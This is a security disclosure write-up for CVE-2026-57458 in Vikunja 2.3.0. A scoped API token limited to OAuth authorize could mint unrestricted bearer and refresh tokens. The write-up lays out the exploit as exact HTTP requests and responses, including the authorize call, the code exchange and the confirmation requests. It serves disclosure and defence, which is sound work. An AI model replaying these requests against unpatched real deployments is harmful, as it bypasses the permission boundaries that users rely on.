TL;DR
I got CVE-2026-57458 in Vikunja.
The issue was an authentication-context mismatch between scoped API tokens and the OAuth authorization-code flow.
A token scoped only to:
{"oauth":["authorize"]}could call the OAuth authorization endpoint, receive an authorization code, exchange that code for a normal bearer JWT plus refresh token, and then use those minted credentials on routes outside the original API-token scope.
The original scoped token could not directly access normal routes like /api/v1/user, but the OAuth token minted from it could.
The boundary that failed
Scoped API tokens are supposed to carry a permission boundary.
In this case, the token was intentionally narrow:
oauth.authorize onlyThat should mean the token can do exactly that one OAuth-related action and nothing else.
The problem was that /api/v1/oauth/authorize accepted API-token-authenticated requests as a valid resource-owner context for issuing an OAuth authorization code.
Once that code existed, /api/v1/oauth/token exchanged it into regular session credentials.
Those new credentials were not tied back to the original API-token permissions.
Affected flow
The vulnerable flow was:
scoped API token-> POST /api/v1/oauth/authorize-> OAuth authorization code-> POST /api/v1/oauth/token-> normal bearer JWT + refresh token-> access non-OAuth routes outside the original token scopeThe affected package was:
code.vikunja.io/apiAffected version:
2.3.0Patched version:
2.4.0Relevant code paths
The advisory calls out these areas:
pkg/routes/routes.gopkg/models/api_routes.gopkg/routes/api_tokens.gopkg/user/user.gopkg/modules/auth/oauth2server/authorize.gopkg/modules/auth/oauth2server/token.goThe important part is not one single line.
The issue came from how those pieces composed:
- the route group accepted scoped API tokens
- the API-token middleware placed
api_tokenandapi_userinto request context - the user helper treated
api_useras the authenticated current user - the OAuth authorize handler used that current user to issue an authorization code
- the token endpoint exchanged the code for unrestricted session credentials
That created a bridge from a scoped token into a normal OAuth session.
Negative control
The scoped token could not access the normal user route directly.
GET /api/v1/userAuthorization: Bearer <scoped-api-token>Observed response:
401 UnauthorizedResponse body:
{"code":11,"message":"missing, malformed, expired or otherwise invalid token provided"}That negative control matters because it shows the token scope was not simply ignored everywhere.
The bypass happened through the OAuth minting path.
Exploit path
First, the scoped token was used to request an OAuth authorization code:
POST /api/v1/oauth/authorizeAuthorization: Bearer <scoped-api-token>Content-Type: application/jsonBody:
{ "response_type": "code", "client_id": "vikunja", "redirect_uri": "vikunja-flutter://callback", "code_challenge": "<pkce-s256-challenge>", "code_challenge_method": "S256"}Observed response:
200 OKResponse body:
{ "code": "<redacted>", "redirect_uri": "vikunja-flutter://callback", "state": ""}Then the authorization code was exchanged for normal session credentials:
POST /api/v1/oauth/tokenContent-Type: application/jsonBody:
{ "grant_type": "authorization_code", "code": "<redacted>", "client_id": "vikunja", "redirect_uri": "vikunja-flutter://callback", "code_verifier": "<original-pkce-verifier>"}Observed response:
200 OKResponse body:
{ "access_token": "<redacted>", "token_type": "bearer", "expires_in": 600, "refresh_token": "<redacted>"}At that point, the attacker no longer had only a scoped API token.
They had a normal OAuth access token and refresh token for the same user.
Scope bypass confirmation
The minted OAuth access token could access routes the original scoped token could not.
GET /api/v1/userAuthorization: Bearer <minted-oauth-access-token>Observed response:
200 OKAdditional check:
GET /api/v1/projectsAuthorization: Bearer <minted-oauth-access-token>Observed response:
200 OKThat is the security issue: the original token had a narrow permission set, but the derived credentials did not inherit that restriction.
Impact
A scoped API token with only oauth.authorize could be converted into normal session credentials for the same user.
That bypasses the intended API-token permission boundary.
The confirmed impact was:
- access to normal user/session routes outside the token’s declared scope
- access to project routes using the minted OAuth bearer token
- refresh-token issuance from a scoped API-token starting point
The advisory did not validate:
- cross-user access
- admin privilege escalation
- access to another account
That boundary is important. This is a same-user scope bypass, not an account takeover across users.
Expected behavior
An API token with limited permissions should not be able to mint broader credentials than its declared scope.
For this flow, /api/v1/oauth/authorize should require an authentication context appropriate for OAuth authorization-code issuance, such as a normal user session.
API-token-authenticated requests should not be accepted as a resource-owner session for creating unrestricted OAuth authorization codes.
Severity and versions
The public advisory lists:
- CVE:
CVE-2026-57458 - GHSA:
GHSA-v3p6-34mc-hj7v - Severity:
High - CVSS:
8.1 - Vector:
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N - CWE:
CWE-269 - Affected:
2.3.0 - Patched:
2.4.0